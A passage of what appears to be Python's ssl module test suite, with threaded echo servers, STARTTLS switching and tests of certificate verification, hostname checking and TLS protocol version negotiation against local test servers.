Many tests shut the TCP connection down # without an SSL shutdown. This causes # unwrap() to raise OSError with errno=0! pass else: self.sslconn = None self.close() elif stripped == b'over': if support.verbose and self.server.connectionchatty: sys.stdout.write(" server: client closed connection\n") self.close() return elif (self.server.starttls_server and stripped == b'STARTTLS'): if support.verbose and self.server.connectionchatty: sys.stdout.write(" server: read STARTTLS from client, sending OK...\n") self.write(b"OK\n") if not self.wrap_conn(): return elif (self.server.starttls_server and self.sslconn and stripped == b'ENDTLS'): if support.verbose and self.server.connectionchatty: sys.stdout.write(" server: read ENDTLS from client, sending OK...\n") self.write(b"OK\n") self.sock = self.sslconn.unwrap() self.sslconn = None if support.verbose and self.server.connectionchatty: sys.stdout.write(" server: connection is now unencrypted...\n") elif stripped == b'CB tls-unique': if support.verbose and self.server.connectionchatty: sys.stdout.write(" server: read CB tls-unique from client, sending our CB data...\n") data = self.sslconn.get_channel_binding("tls-unique") self.write(repr(data).encode("us-ascii") + b"\n") elif stripped == b'PHA': if support.verbose and self.server.connectionchatty: sys.stdout.write(" server: initiating post handshake auth\n") try: self.sslconn.verify_client_post_handshake() except ssl.SSLError as e: self.write(repr(e).encode("us-ascii") + b"\n") else: self.write(b"OK\n") elif stripped == b'HASCERT': if self.sslconn.getpeercert() is not None: self.write(b'TRUE\n') else: self.write(b'FALSE\n') elif stripped == b'GETCERT': cert = self.sslconn.getpeercert() self.write(repr(cert).encode("us-ascii") + b"\n") else: if (support.verbose and self.server.connectionchatty): ctype = (self.sslconn and "encrypted") or "unencrypted" sys.stdout.write(" server: read %r (%s), sending back %r (%s)...\n" % (msg, ctype, msg.lower(), ctype)) self.write(msg.lower()) except (ConnectionResetError, ConnectionAbortedError): # XXX: OpenSSL 1.1.1 sometimes raises ConnectionResetError # when connection is not shut down gracefully. if self.server.chatty and support.verbose: sys.stdout.write( " Connection reset by peer: {}\n".format( self.addr) ) self.close() self.running = False except ssl.SSLError as err: # On Windows sometimes test_pha_required_nocert receives the # PEER_DID_NOT_RETURN_A_CERTIFICATE exception # before the 'tlsv13 alert certificate required' exception. # If the server is stopped when PEER_DID_NOT_RETURN_A_CERTIFICATE # is received test_pha_required_nocert fails with ConnectionResetError # because the underlying socket is closed if 'PEER_DID_NOT_RETURN_A_CERTIFICATE' == err.reason: if self.server.chatty and support.verbose: sys.stdout.write(err.args[1]) # test_pha_required_nocert is expecting this exception raise ssl.SSLError('tlsv13 alert certificate required') except OSError: if self.server.chatty: handle_error("Test server failure:\n") self.close() self.running = False # normally, we'd just stop here, but for the test # harness, we want to stop the server self.server.stop() def __init__(self, certificate=None, ssl_version=None, certreqs=None, cacerts=None, chatty=True, connectionchatty=False, starttls_server=False, npn_protocols=None, alpn_protocols=None, ciphers=None, context=None): if context: self.context = context else: self.context = ssl.SSLContext(ssl_version if ssl_version is not None else ssl.PROTOCOL_TLS_SERVER) self.context.verify_mode = (certreqs if certreqs is not None else ssl.CERT_NONE) if cacerts: self.context.load_verify_locations(cacerts) if certificate: self.context.load_cert_chain(certificate) if npn_protocols: self.context.set_npn_protocols(npn_protocols) if alpn_protocols: self.context.set_alpn_protocols(alpn_protocols) if ciphers: self.context.set_ciphers(ciphers) self.chatty = chatty self.connectionchatty = connectionchatty self.starttls_server = starttls_server self.sock = socket.socket() self.port = support.bind_port(self.sock) self.flag = None self.active = False self.selected_npn_protocols = [] self.selected_alpn_protocols = [] self.shared_ciphers = [] self.conn_errors = [] threading.Thread.__init__(self) self.daemon = True def __enter__(self): self.start(threading.Event()) self.flag.wait() return self def __exit__(self, *args): self.stop() self.join() def start(self, flag=None): self.flag = flag threading.Thread.start(self) def run(self): self.sock.settimeout(0.05) self.sock.listen() self.active = True if self.flag: # signal an event self.flag.set() while self.active: try: newconn, connaddr = self.sock.accept() if support.verbose and self.chatty: sys.stdout.write(' server: new connection from ' + repr(connaddr) + '\n') handler = self.ConnectionHandler(self, newconn, connaddr) handler.start() handler.join() except socket.timeout: pass except KeyboardInterrupt: self.stop() except BaseException as e: if support.verbose and self.chatty: sys.stdout.write( ' connection handling failed: ' + repr(e) + '\n') self.sock.close() def stop(self): self.active = False class AsyncoreEchoServer(threading.Thread): # this one's based on asyncore.dispatcher class EchoServer (asyncore.dispatcher): class ConnectionHandler(asyncore.dispatcher_with_send): def __init__(self, conn, certfile): self.socket = test_wrap_socket(conn, server_side=True, certfile=certfile, do_handshake_on_connect=False) asyncore.dispatcher_with_send.__init__(self, self.socket) self._ssl_accepting = True self._do_ssl_handshake() def readable(self): if isinstance(self.socket, ssl.SSLSocket): while self.socket.pending() > 0: self.handle_read_event() return True def _do_ssl_handshake(self): try: self.socket.do_handshake() except (ssl.SSLWantReadError, ssl.SSLWantWriteError): return except ssl.SSLEOFError: return self.handle_close() except ssl.SSLError: raise except OSError as err: if err.args[0] == errno.ECONNABORTED: return self.handle_close() else: self._ssl_accepting = False def handle_read(self): if self._ssl_accepting: self._do_ssl_handshake() else: data = self.recv(1024) if support.verbose: sys.stdout.write(" server: read %s from client\n" % repr(data)) if not data: self.close() else: self.send(data.lower()) def handle_close(self): self.close() if support.verbose: sys.stdout.write(" server: closed connection %s\n" % self.socket) def handle_error(self): raise def __init__(self, certfile): self.certfile = certfile sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.port = support.bind_port(sock, '') asyncore.dispatcher.__init__(self, sock) self.listen(5) def handle_accepted(self, sock_obj, addr): if support.verbose: sys.stdout.write(" server: new connection from %s:%s\n" %addr) self.ConnectionHandler(sock_obj, self.certfile) def handle_error(self): raise def __init__(self, certfile): self.flag = None self.active = False self.server = self.EchoServer(certfile) self.port = self.server.port threading.Thread.__init__(self) self.daemon = True def __str__(self): return "<%s %s>" % (self.__class__.__name__, self.server) def __enter__(self): self.start(threading.Event()) self.flag.wait() return self def __exit__(self, *args): if support.verbose: sys.stdout.write(" cleanup: stopping server.\n") self.stop() if support.verbose: sys.stdout.write(" cleanup: joining server thread.\n") self.join() if support.verbose: sys.stdout.write(" cleanup: successfully joined.\n") # make sure that ConnectionHandler is removed from socket_map asyncore.close_all(ignore_all=True) def start (self, flag=None): self.flag = flag threading.Thread.start(self) def run(self): self.active = True if self.flag: self.flag.set() while self.active: try: asyncore.loop(1) except: pass def stop(self): self.active = False self.server.close() def server_params_test(client_context, server_context, indata=b"FOO\n", chatty=True, connectionchatty=False, sni_name=None, session=None): """ Launch a server, connect a client to it and try various reads and writes. """ stats = {} server = ThreadedEchoServer(context=server_context, chatty=chatty, connectionchatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=sni_name, session=session) as s: s.connect((HOST, server.port)) for arg in [indata, bytearray(indata), memoryview(indata)]: if connectionchatty: if support.verbose: sys.stdout.write( " client: sending %r...\n" % indata) s.write(arg) outdata = s.read() if connectionchatty: if support.verbose: sys.stdout.write(" client: read %r\n" % outdata) if outdata != indata.lower(): raise AssertionError( "bad data <<%r>> (%d) received; expected <<%r>> (%d)\n" % (outdata[:20], len(outdata), indata[:20].lower(), len(indata))) s.write(b"over\n") if connectionchatty: if support.verbose: sys.stdout.write(" client: closing connection.\n") stats.update({ 'compression': s.compression(), 'cipher': s.cipher(), 'peercert': s.getpeercert(), 'client_alpn_protocol': s.selected_alpn_protocol(), 'client_npn_protocol': s.selected_npn_protocol(), 'version': s.version(), 'session_reused': s.session_reused, 'session': s.session, }) s.close() stats['server_alpn_protocols'] = server.selected_alpn_protocols stats['server_npn_protocols'] = server.selected_npn_protocols stats['server_shared_ciphers'] = server.shared_ciphers return stats def try_protocol_combo(server_protocol, client_protocol, expect_success, certsreqs=None, server_options=0, client_options=0): """ Try to SSL-connect using *client_protocol* to *server_protocol*. If *expect_success* is true, assert that the connection succeeds, if it's false, assert that the connection fails. Also, if *expect_success* is a string, assert that it is the protocol version actually used by the connection. """ if certsreqs is None: certsreqs = ssl.CERT_NONE certtype = { ssl.CERT_NONE: "CERT_NONE", ssl.CERT_OPTIONAL: "CERT_OPTIONAL", ssl.CERT_REQUIRED: "CERT_REQUIRED", }[certsreqs] if support.verbose: formatstr = (expect_success and " %s->%s %s\n") or " {%s->%s} %s\n" sys.stdout.write(formatstr % (ssl.get_protocol_name(client_protocol), ssl.get_protocol_name(server_protocol), certtype)) client_context = ssl.SSLContext(client_protocol) client_context.options |= client_options server_context = ssl.SSLContext(server_protocol) server_context.options |= server_options min_version = PROTOCOL_TO_TLS_VERSION.get(client_protocol, None) if (min_version is not None # SSLContext.minimum_version is only available on recent OpenSSL # (setter added in OpenSSL 1.1.0, getter added in OpenSSL 1.1.1) and hasattr(server_context, 'minimum_version') and server_protocol == ssl.PROTOCOL_TLS and server_context.minimum_version > min_version): # If OpenSSL configuration is strict and requires more recent TLS # version, we have to change the minimum to test old TLS versions. server_context.minimum_version = min_version # NOTE: we must enable "ALL" ciphers on the client, otherwise an # SSLv23 client will send an SSLv3 hello (rather than SSLv2) # starting from OpenSSL 1.0.0 (see issue #8322). if client_context.protocol == ssl.PROTOCOL_TLS: client_context.set_ciphers("ALL") for ctx in (client_context, server_context): ctx.verify_mode = certsreqs ctx.load_cert_chain(SIGNED_CERTFILE) ctx.load_verify_locations(SIGNING_CA) try: stats = server_params_test(client_context, server_context, chatty=False, connectionchatty=False) # Protocol mismatch can result in either an SSLError, or a # "Connection reset by peer" error. except ssl.SSLError: if expect_success: raise except OSError as e: if expect_success or e.errno != errno.ECONNRESET: raise else: if not expect_success: raise AssertionError( "Client protocol %s succeeded with server protocol %s!" % (ssl.get_protocol_name(client_protocol), ssl.get_protocol_name(server_protocol))) elif (expect_success is not True and expect_success != stats['version']): raise AssertionError("version mismatch: expected %r, got %r" % (expect_success, stats['version'])) class ThreadedTests(unittest.TestCase): def test_echo(self): """Basic test of an SSL client connecting to a server""" if support.verbose: sys.stdout.write("\n") for protocol in PROTOCOLS: if protocol in {ssl.PROTOCOL_TLS_CLIENT, ssl.PROTOCOL_TLS_SERVER}: continue if not has_tls_protocol(protocol): continue with self.subTest(protocol=ssl._PROTOCOL_NAMES[protocol]): context = ssl.SSLContext(protocol) context.load_cert_chain(CERTFILE) server_params_test(context, context, chatty=True, connectionchatty=True) client_context, server_context, hostname = testing_context() with self.subTest(client=ssl.PROTOCOL_TLS_CLIENT, server=ssl.PROTOCOL_TLS_SERVER): server_params_test(client_context=client_context, server_context=server_context, chatty=True, connectionchatty=True, sni_name=hostname) client_context.check_hostname = False with self.subTest(client=ssl.PROTOCOL_TLS_SERVER, server=ssl.PROTOCOL_TLS_CLIENT): with self.assertRaises(ssl.SSLError) as e: server_params_test(client_context=server_context, server_context=client_context, chatty=True, connectionchatty=True, sni_name=hostname) self.assertIn('called a function you should not call', str(e.exception)) with self.subTest(client=ssl.PROTOCOL_TLS_SERVER, server=ssl.PROTOCOL_TLS_SERVER): with self.assertRaises(ssl.SSLError) as e: server_params_test(client_context=server_context, server_context=server_context, chatty=True, connectionchatty=True) self.assertIn('called a function you should not call', str(e.exception)) with self.subTest(client=ssl.PROTOCOL_TLS_CLIENT, server=ssl.PROTOCOL_TLS_CLIENT): with self.assertRaises(ssl.SSLError) as e: server_params_test(client_context=server_context, server_context=client_context, chatty=True, connectionchatty=True) self.assertIn('called a function you should not call', str(e.exception)) def test_getpeercert(self): if support.verbose: sys.stdout.write("\n") client_context, server_context, hostname = testing_context() server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), do_handshake_on_connect=False, server_hostname=hostname) as s: s.connect((HOST, server.port)) # getpeercert() raise ValueError while the handshake isn't # done. with self.assertRaises(ValueError): s.getpeercert() s.do_handshake() cert = s.getpeercert() self.assertTrue(cert, "Can't get peer certificate.") cipher = s.cipher() if support.verbose: sys.stdout.write(pprint.pformat(cert) + '\n') sys.stdout.write("Connection cipher is " + str(cipher) + '.\n') if 'subject' not in cert: self.fail("No subject field in certificate: %s." % pprint.pformat(cert)) if ((('organizationName', 'Python Software Foundation'),) not in cert['subject']): self.fail( "Missing or invalid 'organizationName' field in certificate subject; " "should be 'Python Software Foundation'.") self.assertIn('notBefore', cert) self.assertIn('notAfter', cert) before = ssl.cert_time_to_seconds(cert['notBefore']) after = ssl.cert_time_to_seconds(cert['notAfter']) self.assertLess(before, after) @unittest.skipUnless(have_verify_flags(), "verify_flags need OpenSSL > 0.9.8") def test_crl_check(self): if support.verbose: sys.stdout.write("\n") client_context, server_context, hostname = testing_context() tf = getattr(ssl, "VERIFY_X509_TRUSTED_FIRST", 0) self.assertEqual(client_context.verify_flags, ssl.VERIFY_DEFAULT | tf) # VERIFY_DEFAULT should pass server = ThreadedEchoServer(context=server_context, chatty=True) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) cert = s.getpeercert() self.assertTrue(cert, "Can't get peer certificate.") # VERIFY_CRL_CHECK_LEAF without a loaded CRL file fails client_context.verify_flags |= ssl.VERIFY_CRL_CHECK_LEAF server = ThreadedEchoServer(context=server_context, chatty=True) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: with self.assertRaisesRegex(ssl.SSLError, "certificate verify failed"): s.connect((HOST, server.port)) # now load a CRL file. The CRL file is signed by the CA. client_context.load_verify_locations(CRLFILE) server = ThreadedEchoServer(context=server_context, chatty=True) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) cert = s.getpeercert() self.assertTrue(cert, "Can't get peer certificate.") def test_check_hostname(self): if support.verbose: sys.stdout.write("\n") client_context, server_context, hostname = testing_context() # correct hostname should verify server = ThreadedEchoServer(context=server_context, chatty=True) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) cert = s.getpeercert() self.assertTrue(cert, "Can't get peer certificate.") # incorrect hostname should raise an exception server = ThreadedEchoServer(context=server_context, chatty=True) with server: with client_context.wrap_socket(socket.socket(), server_hostname="invalid") as s: with self.assertRaisesRegex( ssl.CertificateError, "Hostname mismatch, certificate is not valid for 'invalid'."): s.connect((HOST, server.port)) # missing server_hostname arg should cause an exception, too server = ThreadedEchoServer(context=server_context, chatty=True) with server: with socket.socket() as s: with self.assertRaisesRegex(ValueError, "check_hostname requires server_hostname"): client_context.wrap_socket(s) def test_ecc_cert(self): client_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) client_context.load_verify_locations(SIGNING_CA) client_context.set_ciphers('ECDHE:ECDSA:!NULL:!aRSA') hostname = SIGNED_CERTFILE_ECC_HOSTNAME server_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # load ECC cert server_context.load_cert_chain(SIGNED_CERTFILE_ECC) # correct hostname should verify server = ThreadedEchoServer(context=server_context, chatty=True) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) cert = s.getpeercert() self.assertTrue(cert, "Can't get peer certificate.") cipher = s.cipher()[0].split('-') self.assertTrue(cipher[:2], ('ECDHE', 'ECDSA')) def test_dual_rsa_ecc(self): client_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) client_context.load_verify_locations(SIGNING_CA) # TODO: fix TLSv1.3 once SSLContext can restrict signature # algorithms. client_context.options |= ssl.OP_NO_TLSv1_3 # only ECDSA certs client_context.set_ciphers('ECDHE:ECDSA:!NULL:!aRSA') hostname = SIGNED_CERTFILE_ECC_HOSTNAME server_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # load ECC and RSA key/cert pairs server_context.load_cert_chain(SIGNED_CERTFILE_ECC) server_context.load_cert_chain(SIGNED_CERTFILE) # correct hostname should verify server = ThreadedEchoServer(context=server_context, chatty=True) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) cert = s.getpeercert() self.assertTrue(cert, "Can't get peer certificate.") cipher = s.cipher()[0].split('-') self.assertTrue(cipher[:2], ('ECDHE', 'ECDSA')) def test_check_hostname_idn(self): if support.verbose: sys.stdout.write("\n") server_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) server_context.load_cert_chain(IDNSANSFILE) context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.verify_mode = ssl.CERT_REQUIRED context.check_hostname = True context.load_verify_locations(SIGNING_CA) # correct hostname should verify, when specified in several # different ways idn_hostnames = [ ('könig.idn.pythontest.net', 'xn--knig-5qa.idn.pythontest.net'), ('xn--knig-5qa.idn.pythontest.net', 'xn--knig-5qa.idn.pythontest.net'), (b'xn--knig-5qa.idn.pythontest.net', 'xn--knig-5qa.idn.pythontest.net'), ('königsgäßchen.idna2003.pythontest.net', 'xn--knigsgsschen-lcb0w.idna2003.pythontest.net'), ('xn--knigsgsschen-lcb0w.idna2003.pythontest.net', 'xn--knigsgsschen-lcb0w.idna2003.pythontest.net'), (b'xn--knigsgsschen-lcb0w.idna2003.pythontest.net', 'xn--knigsgsschen-lcb0w.idna2003.pythontest.net'), # ('königsgäßchen.idna2008.pythontest.net', # 'xn--knigsgchen-b4a3dun.idna2008.pythontest.net'), ('xn--knigsgchen-b4a3dun.idna2008.pythontest.net', 'xn--knigsgchen-b4a3dun.idna2008.pythontest.net'), (b'xn--knigsgchen-b4a3dun.idna2008.pythontest.net', 'xn--knigsgchen-b4a3dun.idna2008.pythontest.net'), ] for server_hostname, expected_hostname in idn_hostnames: server = ThreadedEchoServer(context=server_context, chatty=True) with server: with context.wrap_socket(socket.socket(), server_hostname=server_hostname) as s: self.assertEqual(s.server_hostname, expected_hostname) s.connect((HOST, server.port)) cert = s.getpeercert() self.assertEqual(s.server_hostname, expected_hostname) self.assertTrue(cert, "Can't get peer certificate.") # incorrect hostname should raise an exception server = ThreadedEchoServer(context=server_context, chatty=True) with server: with context.wrap_socket(socket.socket(), server_hostname="python.example.org") as s: with self.assertRaises(ssl.CertificateError): s.connect((HOST, server.port)) def test_wrong_cert_tls12(self): """Connecting when the server rejects the client's certificate Launch a server with CERT_REQUIRED, and check that trying to connect to it with a wrong client certificate fails. """ client_context, server_context, hostname = testing_context() # load client cert that is not signed by trusted CA client_context.load_cert_chain(CERTFILE) # require TLS client authentication server_context.verify_mode = ssl.CERT_REQUIRED # TLS 1.3 has different handshake client_context.maximum_version = ssl.TLSVersion.TLSv1_2 server = ThreadedEchoServer( context=server_context, chatty=True, connectionchatty=True, ) with server, \ client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: try: # Expect either an SSL error about the server rejecting # the connection, or a low-level connection reset (which # sometimes happens on Windows) s.connect((HOST, server.port)) except ssl.SSLError as e: if support.verbose: sys.stdout.write("\nSSLError is %r\n" % e) except OSError as e: if e.errno != errno.ECONNRESET: raise if support.verbose: sys.stdout.write("\nsocket.error is %r\n" % e) else: self.fail("Use of invalid cert should have failed!") @requires_tls_version('TLSv1_3') def test_wrong_cert_tls13(self): client_context, server_context, hostname = testing_context() # load client cert that is not signed by trusted CA client_context.load_cert_chain(CERTFILE) server_context.verify_mode = ssl.CERT_REQUIRED server_context.minimum_version = ssl.TLSVersion.TLSv1_3 client_context.minimum_version = ssl.TLSVersion.TLSv1_3 server = ThreadedEchoServer( context=server_context, chatty=True, connectionchatty=True, ) with server, \ client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: # TLS 1.3 perform client cert exchange after handshake s.connect((HOST, server.port)) try: s.write(b'data') s.read(4) except ssl.SSLError as e: if support.verbose: sys.stdout.write("\nSSLError is %r\n" % e) except OSError as e: if e.errno != errno.ECONNRESET: raise if support.verbose: sys.stdout.write("\nsocket.error is %r\n" % e) else: self.fail("Use of invalid cert should have failed!") def test_rude_shutdown(self): """A brutal shutdown of an SSL server should raise an OSError in the client when attempting handshake. """ listener_ready = threading.Event() listener_gone = threading.Event() s = socket.socket() port = support.bind_port(s, HOST) # `listener` runs in a thread. It sits in an accept() until # the main thread connects. Then it rudely closes the socket, # and sets Event `listener_gone` to let the main thread know # the socket is gone. def listener(): s.listen() listener_ready.set() newsock, addr = s.accept() newsock.close() s.close() listener_gone.set() def connector(): listener_ready.wait() with socket.socket() as c: c.connect((HOST, port)) listener_gone.wait() try: ssl_sock = test_wrap_socket(c) except OSError: pass else: self.fail('connecting to closed SSL socket should have failed') t = threading.Thread(target=listener) t.start() try: connector() finally: t.join() def test_ssl_cert_verify_error(self): if support.verbose: sys.stdout.write("\n") server_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) server_context.load_cert_chain(SIGNED_CERTFILE) context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) server = ThreadedEchoServer(context=server_context, chatty=True) with server: with context.wrap_socket(socket.socket(), server_hostname=SIGNED_CERTFILE_HOSTNAME) as s: try: s.connect((HOST, server.port)) except ssl.SSLError as e: msg = 'unable to get local issuer certificate' self.assertIsInstance(e, ssl.SSLCertVerificationError) self.assertEqual(e.verify_code, 20) self.assertEqual(e.verify_message, msg) self.assertIn(msg, repr(e)) self.assertIn('certificate verify failed', repr(e)) @requires_tls_version('SSLv2') def test_protocol_sslv2(self): """Connecting to an SSLv2 server with various client options""" if support.verbose: sys.stdout.write("\n") try_protocol_combo(ssl.PROTOCOL_SSLv2, ssl.PROTOCOL_SSLv2, True) try_protocol_combo(ssl.PROTOCOL_SSLv2, ssl.PROTOCOL_SSLv2, True, ssl.CERT_OPTIONAL) try_protocol_combo(ssl.PROTOCOL_SSLv2, ssl.PROTOCOL_SSLv2, True, ssl.CERT_REQUIRED) try_protocol_combo(ssl.PROTOCOL_SSLv2, ssl.PROTOCOL_TLS, False) if has_tls_version('SSLv3'): try_protocol_combo(ssl.PROTOCOL_SSLv2, ssl.PROTOCOL_SSLv3, False) try_protocol_combo(ssl.PROTOCOL_SSLv2, ssl.PROTOCOL_TLSv1, False) # SSLv23 client with specific SSL options if no_sslv2_implies_sslv3_hello(): # No SSLv2 => client will use an SSLv3 hello on recent OpenSSLs try_protocol_combo(ssl.PROTOCOL_SSLv2, ssl.PROTOCOL_TLS, False, client_options=ssl.OP_NO_SSLv2) try_protocol_combo(ssl.PROTOCOL_SSLv2, ssl.PROTOCOL_TLS, False, client_options=ssl.OP_NO_SSLv3) try_protocol_combo(ssl.PROTOCOL_SSLv2, ssl.PROTOCOL_TLS, False, client_options=ssl.OP_NO_TLSv1) def test_PROTOCOL_TLS(self): """Connecting to an SSLv23 server with various client options""" if support.verbose: sys.stdout.write("\n") if has_tls_version('SSLv2'): try: try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_SSLv2, True) except OSError as x: # this fails on some older versions of OpenSSL (0.9.7l, for instance) if support.verbose: sys.stdout.write( " SSL2 client to SSL23 server test unexpectedly failed:\n %s\n" % str(x)) if has_tls_version('SSLv3'): try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_SSLv3, False) try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLS, True) if has_tls_version('TLSv1'): try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLSv1, 'TLSv1') if has_tls_version('SSLv3'): try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_SSLv3, False, ssl.CERT_OPTIONAL) try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLS, True, ssl.CERT_OPTIONAL) if has_tls_version('TLSv1'): try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLSv1, 'TLSv1', ssl.CERT_OPTIONAL) if has_tls_version('SSLv3'): try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_SSLv3, False, ssl.CERT_REQUIRED) try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLS, True, ssl.CERT_REQUIRED) if has_tls_version('TLSv1'): try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLSv1, 'TLSv1', ssl.CERT_REQUIRED) # Server with specific SSL options if has_tls_version('SSLv3'): try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_SSLv3, False, server_options=ssl.OP_NO_SSLv3) # Will choose TLSv1 try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLS, True, server_options=ssl.OP_NO_SSLv2 | ssl.OP_NO_SSLv3) if has_tls_version('TLSv1'): try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLSv1, False, server_options=ssl.OP_NO_TLSv1) @requires_tls_version('SSLv3') def test_protocol_sslv3(self): """Connecting to an SSLv3 server with various client options""" if support.verbose: sys.stdout.write("\n") try_protocol_combo(ssl.PROTOCOL_SSLv3, ssl.PROTOCOL_SSLv3, 'SSLv3') try_protocol_combo(ssl.PROTOCOL_SSLv3, ssl.PROTOCOL_SSLv3, 'SSLv3', ssl.CERT_OPTIONAL) try_protocol_combo(ssl.PROTOCOL_SSLv3, ssl.PROTOCOL_SSLv3, 'SSLv3', ssl.CERT_REQUIRED) if has_tls_version('SSLv2'): try_protocol_combo(ssl.PROTOCOL_SSLv3, ssl.PROTOCOL_SSLv2, False) try_protocol_combo(ssl.PROTOCOL_SSLv3, ssl.PROTOCOL_TLS, False, client_options=ssl.OP_NO_SSLv3) try_protocol_combo(ssl.PROTOCOL_SSLv3, ssl.PROTOCOL_TLSv1, False) if no_sslv2_implies_sslv3_hello(): # No SSLv2 => client will use an SSLv3 hello on recent OpenSSLs try_protocol_combo(ssl.PROTOCOL_SSLv3, ssl.PROTOCOL_TLS, False, client_options=ssl.OP_NO_SSLv2) @requires_tls_version('TLSv1') def test_protocol_tlsv1(self): """Connecting to a TLSv1 server with various client options""" if support.verbose: sys.stdout.write("\n") try_protocol_combo(ssl.PROTOCOL_TLSv1, ssl.PROTOCOL_TLSv1, 'TLSv1') try_protocol_combo(ssl.PROTOCOL_TLSv1, ssl.PROTOCOL_TLSv1, 'TLSv1', ssl.CERT_OPTIONAL) try_protocol_combo(ssl.PROTOCOL_TLSv1, ssl.PROTOCOL_TLSv1, 'TLSv1', ssl.CERT_REQUIRED) if has_tls_version('SSLv2'): try_protocol_combo(ssl.PROTOCOL_TLSv1, ssl.PROTOCOL_SSLv2, False) if has_tls_version('SSLv3'): try_protocol_combo(ssl.PROTOCOL_TLSv1, ssl.PROTOCOL_SSLv3, False) try_protocol_combo(ssl.PROTOCOL_TLSv1, ssl.PROTOCOL_TLS, False, client_options=ssl.OP_NO_TLSv1) @requires_tls_version('TLSv1_1') def test_protocol_tlsv1_1(self): """Connecting to a TLSv1.1 server with various client options. Testing against older TLS versions.""" if support.verbose: sys.stdout.write("\n") try_protocol_combo(ssl.PROTOCOL_TLSv1_1, ssl.PROTOCOL_TLSv1_1, 'TLSv1.1') if has_tls_version('SSLv2'): try_protocol_combo(ssl.PROTOCOL_TLSv1_1, ssl.PROTOCOL_SSLv2, False) if has_tls_version('SSLv3'): try_protocol_combo(ssl.PROTOCOL_TLSv1_1, ssl.PROTOCOL_SSLv3, False) try_protocol_combo(ssl.PROTOCOL_TLSv1_1, ssl.PROTOCOL_TLS, False, client_options=ssl.OP_NO_TLSv1_1) try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLSv1_1, 'TLSv1.1') try_protocol_combo(ssl.PROTOCOL_TLSv1_1, ssl.PROTOCOL_TLSv1_2, False) try_protocol_combo(ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_TLSv1_1, False) @requires_tls_version('TLSv1_2') def test_protocol_tlsv1_2(self): """Connecting to a TLSv1.2 server with various client options. Testing against older TLS versions.""" if support.verbose: sys.stdout.write("\n") try_protocol_combo(ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_TLSv1_2, 'TLSv1.2', server_options=ssl.OP_NO_SSLv3|ssl.OP_NO_SSLv2, client_options=ssl.OP_NO_SSLv3|ssl.OP_NO_SSLv2,) if has_tls_version('SSLv2'): try_protocol_combo(ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_SSLv2, False) if has_tls_version('SSLv3'): try_protocol_combo(ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_SSLv3, False) try_protocol_combo(ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_TLS, False, client_options=ssl.OP_NO_TLSv1_2) try_protocol_combo(ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLSv1_2, 'TLSv1.2') try_protocol_combo(ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_TLSv1, False) try_protocol_combo(ssl.PROTOCOL_TLSv1, ssl.PROTOCOL_TLSv1_2, False) try_protocol_combo(ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_TLSv1_1, False) try_protocol_combo(ssl.PROTOCOL_TLSv1_1, ssl.PROTOCOL_TLSv1_2, False) def test_starttls(self): """Switching from clear text to encrypted and back again.""" msgs = (b"msg 1", b"MSG 2", b"STARTTLS", b"MSG 3", b"msg 4", b"ENDTLS", b"msg 5", b"msg 6") server = ThreadedEchoServer(CERTFILE, starttls_server=True, chatty=True, connectionchatty=True) wrapped = False with server: s = socket.socket() s.setblocking(True) s.connect((HOST, server.port)) if support.verbose: sys.stdout.write("\n") for indata in msgs: if support.verbose: sys.stdout.write( " client: sending %r...\n" % indata) if wrapped: conn.write(indata) outdata = conn.read() else: s.send(indata) outdata = s.recv(1024) msg = outdata.strip().lower() if indata == b"STARTTLS" and msg.startswith(b"ok"): # STARTTLS ok, switch to secure mode if support.verbose: sys.stdout.write( " client: read %r from server, starting TLS...\n" % msg) conn = test_wrap_socket(s) wrapped = True elif indata == b"ENDTLS" and msg.startswith(b"ok"): # ENDTLS ok, switch back to clear text if support.verbose: sys.stdout.write( " client: read %r from server, ending TLS...\n" % msg) s = conn.unwrap() wrapped = False else: if support.verbose: sys.stdout.write( " client: read %r from server\n" % msg) if support.verbose: sys.stdout.write(" client: closing connection.\n") if wrapped: conn.write(b"over\n") else: 